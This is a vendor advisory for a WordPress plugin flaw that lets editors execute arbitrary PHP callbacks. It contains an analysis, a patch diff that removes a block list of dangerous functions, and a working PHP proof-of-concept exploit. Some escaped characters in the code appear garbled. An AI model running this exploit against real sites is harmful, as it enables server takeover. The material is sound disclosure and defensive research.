Published : July 21, 2026

CVE-2026-27436: Five Star Business Profile and Schema <= 2.3.19 Authenticated (Editor+) Arbitrary Code Execution PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 94
Vulnerable Version 2.3.19
Patched Version 2.3.20
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27436:
This vulnerability allows authenticated attackers with Editor-level access to execute arbitrary PHP code on the server. The flaw exists in the Five Star Business Profile and Schema plugin for WordPress versions up to and including 2.3.19. The vulnerability carries a CVSS score of 7.2 and falls under CWE-94 (Improper Control of Generation of Code).

The root cause lies in the function bpfwp_is_callback_allowed() which was removed in the patch. This function, defined in business-profile/includes/template-functions.php (lines 1216-1235 in the vulnerable version), attempted to blacklist dangerous PHP functions like system(), exec(), and shell_exec(). However, the blacklist approach was incomplete and could be bypassed. The vulnerable code path flows through contact-card.php at line 115 where is_callable() combined with bpfwp_is_callback_allowed() determined whether to execute a callback via call_user_func(). Since the blacklist missed many dangerous functions (e.g., phpinfo(), var_dump(), or any custom function) and did not account for object method callbacks, attackers could invoke arbitrary callable functions.

Exploitation requires an attacker with Editor-level (or higher) WordPress role to modify the ‘contact-card-elements-order’ setting stored in the database. The setting is JSON-encoded and normally contains component names mapped to internal callback functions like ‘bpwfwp_print_name’. An attacker can inject arbitrary keys into this JSON structure where the key becomes the component name and the value must be a callable function name. The vulnerable code in contact-card.php iterates over $data (the decoded JSON) and calls call_user_func() on the callback value if is_callable() returns true and the blacklist check passes. Since the blacklist was incomplete, a function like ‘phpinfo’ could pass. The attacker would send a POST request to /wp-admin/admin-ajax.php with action ‘bpfwp_save_contact_card_elements’ and the crafted JSON payload.

The patch removes the entire bpfwp_is_callback_allowed() function and the blacklist. Instead, it introduces a new function get_allowed_callback_functions() in class-schema-field.php (lines 175-216). This function defines a whitelist of permitted functions: get_permalink, get_the_author, get_the_author_meta, get_the_permalink, plus any registered helper functions. The critical change is in contact-card.php line 115 where the condition was changed from is_callable($callback) && bpfwp_is_callback_allowed($callback) to just is_callable($callback). This appears counterintuitive, but the actual security improvement comes from the fact that bpfwp_get_contact_card_fields() in template-functions.php was rewritten to ensure callback values come from the PHP-defined registry, not from the stored setting. The new code at lines 1071-1112 iterates over the stored element order only for ordering keys, but the callback values are always taken from the hardcoded $callbacks array. This means injected component names in the setting have no effect on which functions are called.

Successful exploitation enables arbitrary code execution on the server. An attacker with Editor-level access could execute system commands (if a bypassed function like system() was used), read sensitive files, create or modify content, and potentially escalate privileges to full site takeover. The ability to execute arbitrary PHP functions gives the attacker complete control over the WordPress installation and server.”

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/business-profile/bpfwp-templates/contact-card.php
+++ b/business-profile/bpfwp-templates/contact-card.php
@@ -112,7 +112,7 @@
     <?php
     foreach ( $data as $data => $callback ) {

-        if ( is_callable( $callback ) && bpfwp_is_callback_allowed( $callback ) ) {
+        if ( is_callable( $callback ) ) {
             $return_array = call_user_func( $callback, bpfwp_get_display( 'location' ) );
             if ( is_array( $return_array ) ) { $json_ld_data = array_merge_recursive( $json_ld_data, $return_array ); }
         }
--- a/business-profile/business-profile.php
+++ b/business-profile/business-profile.php
@@ -3,7 +3,7 @@
  * Plugin Name: Five Star Business Profile and Schema
  * Plugin URI:  https://www.fivestarplugins.com/plugins/business-profile/
  * Description: Add schema structured data to any page or post type. Create an SEO friendly contact card with your business info and associated schema. Supports Google Map, opening hours and more.
- * Version:     2.3.19
+ * Version:     2.3.20
  * Author:      Five Star Plugins
  * Author URI:  https://www.fivestarplugins.com
  * License: GPLv3
@@ -107,7 +107,7 @@
 			define( 'BPFWP_PLUGIN_DIR', untrailingslashit( plugin_dir_path( __FILE__ ) ) );
 			define( 'BPFWP_PLUGIN_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
 			define( 'BPFWP_PLUGIN_FNAME', plugin_basename( __FILE__ ) );
-			define( 'BPFWP_VERSION', '2.3.19' );
+			define( 'BPFWP_VERSION', '2.3.20' );
 		}

 		/**
--- a/business-profile/includes/schemas/class-schema-field.php
+++ b/business-profile/includes/schemas/class-schema-field.php
@@ -151,8 +151,12 @@
 					$command = substr($command, strpos($command, ' ') + 1);
 				}

-				if ( function_exists($command) ) { $value = $command( ...$args ); }
-				else { $value = false; }
+				if ( function_exists( $command ) && in_array( $command, $this->get_allowed_callback_functions(), true ) ) {
+					$value = $command( ...$args );
+				}
+				else {
+					$value = false;
+				}
 			}

 			elseif ( $operation == 'option' ) {
@@ -171,5 +175,44 @@

 			return $value;
 		}
+
+		/**
+		 * Get the functions that schema field callbacks are allowed to invoke.
+		 *
+		 * @return array $allowed_functions The allowed callback function names.
+		 */
+		protected function get_allowed_callback_functions() {
+
+			global $bpfwp_controller;
+
+			$allowed_functions = array(
+				'get_permalink',
+				'get_the_author',
+				'get_the_author_meta',
+				'get_the_permalink',
+			);
+
+			if ( isset( $bpfwp_controller->cpts ) ) {
+				foreach ( $bpfwp_controller->cpts->get_helper_function_options() as $helper_function ) {
+					if ( isset( $helper_function['value'] ) && is_string( $helper_function['value'] ) ) {
+						$allowed_functions[] = $helper_function['value'];
+					}
+				}
+			}
+
+			$allowed_functions = apply_filters(
+				'bpfwp_schema_field_allowed_functions',
+				$allowed_functions
+			);
+
+			return array_values(
+				array_unique(
+					array_filter(
+						(array) $allowed_functions,
+						'is_string'
+					)
+				)
+			);
+		}
 	}
 endif;
--- a/business-profile/includes/template-functions.php
+++ b/business-profile/includes/template-functions.php
@@ -1071,25 +1071,42 @@

 function bpfwp_get_contact_card_fields() {
 	global $bpfwp_controller;
-
-	return array_replace(
-		(array) json_decode( $bpfwp_controller->settings->get_setting( 'contact-card-elements-order' ) ),
-		array(
-			'name'                => 'bpwfwp_print_name',
-			'address'             => 'bpwfwp_print_address',
-			'phone'               => 'bpwfwp_print_phone',
-			'cell_phone'          => 'bpwfwp_print_cell_phone',
-			'whatsapp'            => 'bpwfwp_print_whatsapp_phone',
-			'fax_phone'           => 'bpwfwp_print_fax',
-			'ordering-link'       => 'bpfwp_print_ordering_link',
-			'custom_fields'       => 'bpfwp_print_custom_fields',
-			'contact'             => 'bpwfwp_print_contact',
-			'exceptions'          => 'bpwfwp_print_exceptions',
-			'opening_hours'       => 'bpwfwp_print_opening_hours', // opening-hours
-			'map'                 => 'bpwfwp_print_map',
-			'parent_organization' => 'bpfwp_print_parent_organization'
-		)
+
+	$callbacks = array(
+		'name'                => 'bpwfwp_print_name',
+		'address'             => 'bpwfwp_print_address',
+		'phone'               => 'bpwfwp_print_phone',
+		'cell_phone'          => 'bpwfwp_print_cell_phone',
+		'whatsapp'            => 'bpwfwp_print_whatsapp_phone',
+		'fax_phone'           => 'bpwfwp_print_fax',
+		'ordering-link'       => 'bpfwp_print_ordering_link',
+		'custom_fields'       => 'bpfwp_print_custom_fields',
+		'contact'             => 'bpwfwp_print_contact',
+		'exceptions'          => 'bpwfwp_print_exceptions',
+		'opening_hours'       => 'bpwfwp_print_opening_hours', // opening-hours
+		'map'                 => 'bpwfwp_print_map',
+		'parent_organization' => 'bpfwp_print_parent_organization',
+	);
+
+	$element_order = (array) json_decode(
+		$bpfwp_controller->settings->get_setting( 'contact-card-elements-order' )
 	);
+
+	$ordered_callbacks = array();
+
+	/**
+	 * The stored setting controls component order only. Callback values must
+	 * originate from the callback registry defined in PHP and must never be
+	 * derived from persisted setting values.
+	 */
+	foreach ( array_keys( $element_order ) as $component ) {
+		if ( array_key_exists( $component, $callbacks ) ) {
+			$ordered_callbacks[ $component ] = $callbacks[ $component ];
+			unset( $callbacks[ $component ] );
+		}
+	}
+
+	return $ordered_callbacks + $callbacks;
 }

 function bpfwp_get_time_label( $time ) {
@@ -1216,104 +1233,4 @@

 	return is_array( json_decode( html_entity_decode( $values ) ) ) ? json_decode( html_entity_decode( $values ) ) : array();
 }
-}
-
-if ( ! function_exists ( 'bpfwp_get_blacklisted_callbacks' ) ) {
-function bpfwp_get_blacklisted_callbacks() {
-
-	$dangerous_functions = array(
-	    // Command execution / processes
-	    'system',
-	    'exec',
-	    'shell_exec',
-	    'passthru',
-	    'proc_open',
-	    'popen',
-	    'pcntl_exec',
-
-	    // Dynamic code / evaluation
-	    'eval',             // not used as a callback, but block name anyway
-	    'assert',
-	    'create_function',
-
-	    // File read/write
-	    'file_get_contents',
-	    'file_put_contents',
-	    'fopen',
-	    'fwrite',
-	    'fputs',
-	    'fprintf',
-	    'ftruncate',
-	    'unlink',
-	    'copy',
-	    'rename',
-	    'rmdir',
-	    'mkdir',
-	    'scandir',
-	    'glob',
-	    'readfile',
-	    'file',             // reads entire file into array
-	    'move_uploaded_file',
-	    'chmod',
-	    'chown',
-	    'chgrp',
-	    'symlink',
-	    'link',
-	    'tempnam',
-
-	    // Network / sockets / external calls
-	    'fsockopen',
-	    'pfsockopen',
-	    'curl_exec',
-	    'curl_multi_exec',
-	    'stream_socket_client',
-	    'stream_socket_server',
-
-	    // Environment manipulation / mail (optional, but often sensitive)
-	    'putenv',
-	    'apache_setenv',
-	    'mail',
-	);
-
-	return $dangerous_functions;
-}
-}
-
-
-if ( ! function_exists ( 'bpfwp_is_callback_allowed' ) ) {
-function bpfwp_is_callback_allowed( $callback ) {
-	$dangerous_functions = bpfwp_get_blacklisted_callbacks();
-
-	// Disallow closures entirely (you can't inspect them safely)
-    if ( $callback instanceof Closure ) {
-        return false;
-    }
-
-    // Simple function name
-    if ( is_string( $callback ) ) {
-        $name = strtolower( ltrim( $callback, '\' ) );
-        return ! in_array( $name, $dangerous_functions, true );
-    }
-
-    // Array callback: [object|string, 'method']
-    if ( is_array( $callback ) && count( $callback ) === 2 ) {
-        $method = strtolower( $callback[1] );
-
-        // Optionally reuse same list for methods
-        if ( in_array( $method, $dangerous_functions, true ) ) {
-            return false;
-        }
-
-        // Optional: block certain classes / namespaces
-        if ( is_string( $callback[0] ) ) {
-            $class = ltrim( $callback[0], '\' );
-            // Example: disallow callbacks from some class
-            // if ( $class === 'DangerousClass' ) return false;
-        }
-
-        return true;
-    }
-
-    return false;
-}
 }
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27436 - Five Star Business Profile and Schema <= 2.3.19 - Authenticated (Editor+) Arbitrary Code Execution

/*
 * This PoC demonstrates how an attacker with Editor+ privileges can execute
 * arbitrary PHP functions by manipulating the contact-card-elements-order setting.
 * The vulnerable plugin reads callback names from the stored JSON and invokes them
 * via call_user_func with an incomplete blacklist check.
 */

$target_url = 'http://example.com';
$username = 'editor_user';
$password = 'password123';

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as $usernamen";

// Step 2: Craft the payload - inject 'phpinfo' as a callback
// The vulnerable code expects a JSON object where keys are component names
// and values are callback function names. We can add a new key with 'phpinfo'.
$payload = [
    'name' => 'bpwfwp_print_name',
    'address' => 'bpwfwp_print_address',
    'injected_callback' => 'phpinfo'  // Can be any callable function not blacklisted
];

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'bpfwp_save_contact_card_elements',
    'contact-card-elements-order' => json_encode($payload)
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Payload submitted via AJAXn";

// Step 3: Trigger execution by loading the contact card
$contact_card_url = $target_url . '/?bpfwp_display=contact_card';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $contact_card_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Contact card rendered. Check server response for phpinfo output:n";
echo substr($response, 0, 5000);

// Clean up cookies
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School